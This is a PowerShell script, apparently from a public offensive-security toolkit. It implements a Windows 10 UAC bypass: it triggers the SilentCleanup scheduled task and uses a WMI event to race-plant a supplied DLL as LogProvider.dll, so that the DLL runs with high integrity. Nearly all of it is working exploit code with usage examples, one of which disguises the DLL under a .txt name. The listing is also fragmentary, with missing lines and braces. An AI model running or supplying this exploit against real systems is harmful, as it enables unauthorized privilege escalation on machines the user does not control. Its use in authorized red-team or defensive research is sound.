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function Invoke-UACBypass {
Bypasses UAC on Windows 10 by abusing the SilentCleanup task to win a race condition, allowing for a DLL hijack without a privileged file copy.
Author: Matthew Graeber (@mattifestation), Matt Nelson (@enigma0x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Specifies the path to the DLL you want executed in a high integrity context. Be mindful of the architecture of the DLL. It must match that of %SystemRoot%\System32\Dism\LogProvider.dll.
Invoke-UACBypass -DllPath C:\Users\TestUser\Desktop\Win10UACBypass\PrivescTest.dll
Invoke-UACBypass -DllPath C:\Users\TestUser\Desktop\TotallyLegit.txt -Verbose
The DllPath can have any extension as long as the file itself is a DLL.
Param (
[Parameter(Mandatory = $True)]
[ValidateScript({ Test-Path $_ })]
$PrivescAction = {
$ReplacementDllPath = $Event.MessageData.DllPath
# The newly created GUID folder
$DismHostFolder = $EventArgs.NewEvent.TargetInstance.Name
$OriginalPreference = $VerbosePreference
# Force -Verbose to display in the event
if ($Event.MessageData.VerboseSet -eq $True) {
$VerbosePreference = 'Continue'
Write-Verbose "DismHost folder created in $DismHostFolder"
Write-Verbose "$ReplacementDllPath to $DismHostFolder\LogProvider.dll"
try {
$FileInfo = Copy-Item -Path $ReplacementDllPath -Destination "$DismHostFolder\LogProvider.dll" -Force -PassThru -ErrorAction Stop
} catch {
Write-Warning "Error copying file! Message: $_"
# Restore the event preference
$VerbosePreference = $OriginalPreference
if ($FileInfo) {
# Trigger Wait-Event to return and indicate success.
New-Event -SourceIdentifier 'DllPlantedSuccess' -MessageData $FileInfo
$VerboseSet = $False
if ($PSBoundParameters['Verbose']) { $VerboseSet = $True }
$MessageData = New-Object -TypeName PSObject -Property @{
DllPath = $DllPath
VerboseSet = $VerboseSet # Pass the verbose preference to the scriptblock since
# event scriptblocks will not automatically honor -Verbose.
$TempDrive = $Env:TEMP.Substring(0,2)
# Trigger the DLL dropper with the following conditions:
# 1) A directory is created - i.e. new Win32_Directory instance
# 2) The directory created is created under %TEMP%
# 3) The directory name is in the form of a GUID
$TempFolderCreationEvent = "SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA `"Win32_Directory`" AND TargetInstance.Drive = `"$TempDrive`" AND TargetInstance.Path = `"$($Env:TEMP.Substring(2).Replace('\', '\\'))\\`" AND TargetInstance.FileName LIKE `"________-____-____-____-____________`""
$TempFolderWatcher = Register-WmiEvent -Query $TempFolderCreationEvent -Action $PrivescAction -MessageData $MessageData
# We need to jump through these hoops to properly capture stdout and stderr of schtasks.
$StartInfo = New-Object Diagnostics.ProcessStartInfo
$StartInfo.FileName = 'schtasks'
$StartInfo.Arguments = '/Run /TN "\Microsoft\Windows\DiskCleanup\SilentCleanup" /I'
$StartInfo.RedirectStandardError = $True
$StartInfo.RedirectStandardOutput = $True
$StartInfo.UseShellExecute = $False
$Process = New-Object Diagnostics.Process
$Process.StartInfo = $StartInfo
$null = $Process.Start()
$Stdout = $Process.StandardOutput.ReadToEnd().Trim()
$Stderr = $Process.StandardError.ReadToEnd().Trim()
if ($Stderr) {
Unregister-Event -SubscriptionId $TempFolderWatcher.Id
throw "SilentCleanup task failed to execute. Error message: $Stderr"
} else {
if ($Stdout.Contains('is currently running')) {
Unregister-Event -SubscriptionId $TempFolderWatcher.Id
Write-Warning 'SilentCleanup task is already running. Please wait until the task has completed.'
Write-Verbose "SilentCleanup task executed successfully. Message: $Stdout"
$PayloadExecutedEvent = Wait-Event -SourceIdentifier 'DllPlantedSuccess' -Timeout 10
Unregister-Event -SubscriptionId $TempFolderWatcher.Id
if ($PayloadExecutedEvent) {
Write-Verbose 'UAC bypass was successful!'
# Output the file info for the DLL that was planted
$PayloadExecutedEvent | Remove-Event
} else {
# The event timed out.
Write-Error 'UAC bypass failed. The DLL was not planted in its target.'
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